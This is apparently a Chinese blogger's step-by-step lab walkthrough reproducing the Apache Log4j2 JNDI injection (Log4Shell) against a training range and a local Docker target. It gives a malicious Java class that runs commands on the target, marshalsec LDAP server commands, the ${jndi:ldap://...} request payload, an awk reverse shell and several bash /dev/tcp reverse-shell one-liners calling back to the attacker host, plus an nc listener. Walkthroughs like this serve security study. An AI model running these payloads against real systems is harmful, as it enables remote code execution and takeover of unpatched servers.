apache log4j2 漏洞复现linux【纯详版】
本次记录自己测试时每一步操作,很详细。
本次复现分为curl测试和拿shell两种操作,测试完curl后体验时长到期了,只能换环境了。
本次测试环境如下:
curl------------------------------------------------------
靶场: http://d63bb2586.lab.aqlab.cn/
攻击机:106.15.47.238(阿里云的一小时体验服务器)
拿shell--------------------------------------------------
靶场: 192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
curl测试:
攻击机-----------------------
安装java环境:
jdk1.8.0_181
链接:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取码:6rec
下载好后使用rz传到vps上:
#yum install lrzsz #rz
解压缩:
tar -zxvf jdk-8u181-linux-x64.tar.gz
Copy到/usr/jdk:
cp -r jdk1.8.0_181/ /usr/jdk
编辑环境变量:
vi /etc/profile
将下面配置添加到文件最后:
export JAVA_HOME=/usr/jdk export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
告诉系统jdk的位置:
update-alternatives --install "/usr/bin/java" "java" "/usr/jdk/bin/java" 1 update-alternatives --install "/usr/bin/javac" "javac" "/usr/jdk/bin/javac" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
设置新的jdk为默认:
update-alternatives --set java /usr/jdk/bin/java update-alternatives --set java /usr/jdk/bin/java update-alternatives --set javac /usr/jdk/bin/javac update-alternatives --set javac /usr/jdk/bin/javac update-alternatives --set javaws /usr/jdk/bin/javaws update-alternatives --set javaws /usr/jdk/bin/javaws
重载profile文件:
source /etc/profile
查看jdk版本:
java -version
到此java环境安装完毕。
编写一个恶意类,命名为Exploit.java,这里用curl测试:
vi Exploit.java
写入:
public class Exploit { public Exploit(){ try{ // 要执行的命令 String[] commands = {"curl","http://106.15.47.238:5678"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
编译:
javac Exploit.java
开个http服务,等会用来验证是否命令被目标执行:
安装maven:
wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.8.4/binaries/apache-maven-3.8.4-bin.tar.gz
解压:
tar -zxvf apache-maven-3.8.4-bin.tar.gz
配置:
update-alternatives --install /usr/bin/mvn mvn ~/apache-maven-3.8.4/bin/mvn 1
环境变量配置:
vi /etc/profile
最下面添加:
export MAVEN_HOME=~/apache-maven-3.8.4 export PATH=$MAVEN_HOME/bin:$PATH
重载profile文件:
source /etc/profile
装git:
yum install git
下载marshalsec工具
git clone https://hub.fastgit.org/mbechler/marshalsec.git
进入marshalsec文件夹,使用maven编译marshalsec成jar包:
mvn clean package -DskipTests
耐心等待ing...
来了
在Exploit.java文件所在目录开个http服务:
进入target文件夹,搭建个LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://106.15.47.238:1234/#Exploit 8899
访问靶场:
http://d63bb2586.lab.aqlab.cn/
点击登录后,目标执行命令curl我们的5678端口:
-------------------------------------------------------- --------------------------------------------------------
这时候靶场1小时时间到期了呜呜。
拿shell:
简介:
靶机: 192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
和以上curl操作相同,只是修改被执行的命令为反弹shell。
靶机docker环境搭建:
装docker
curl -s https://get.docker.com/ | sh
启动docker:
service docker start
拉镜像:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
容器:
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
进容器:
docker exec -it log4j_vuln_container /bin/bash
开tomcat服务:
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
到此为止靶机环境搭建好了。
攻击机-----------
配java环境、各种组件。和上面curl操作步骤一样。
配好环境和相关组件后,在Exploit.java所在目录启个http服务:
python -m SimpleHTTPServer 1234
开启LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.11.128:1234/#Exploit 8899
恶意类内容.编辑Exploit.java文件,利用curl反弹shell:
vi Exploit.java
编译:
再启个http服务供目标机器来访问bash.html:
Bash.html内容:意思是把shell反弹到攻击机4444端口:
awk 'BEGIN {s = "/inet/tcp/0/192.168.11.128/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Nc监听4444,坐等shell:
nc –lvnp 4444
最后访问http://192.168.11.136:8080/webstudy/hello-fengxuan
Post请求c=${jndi:ldap://192.168.11.128:8899/id}
过程:
目标Curl攻击机的8888端口,内容为反弹shell到攻击机4444端口:
收到shell:
-----------------------
问 为什么要这样反弹,麻烦不烦啊!
答 因为其他方式本人没弹出来(委屈)
bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196
晚安
参考:
https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://cloud.tencent.com/developer/article/1577831
声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。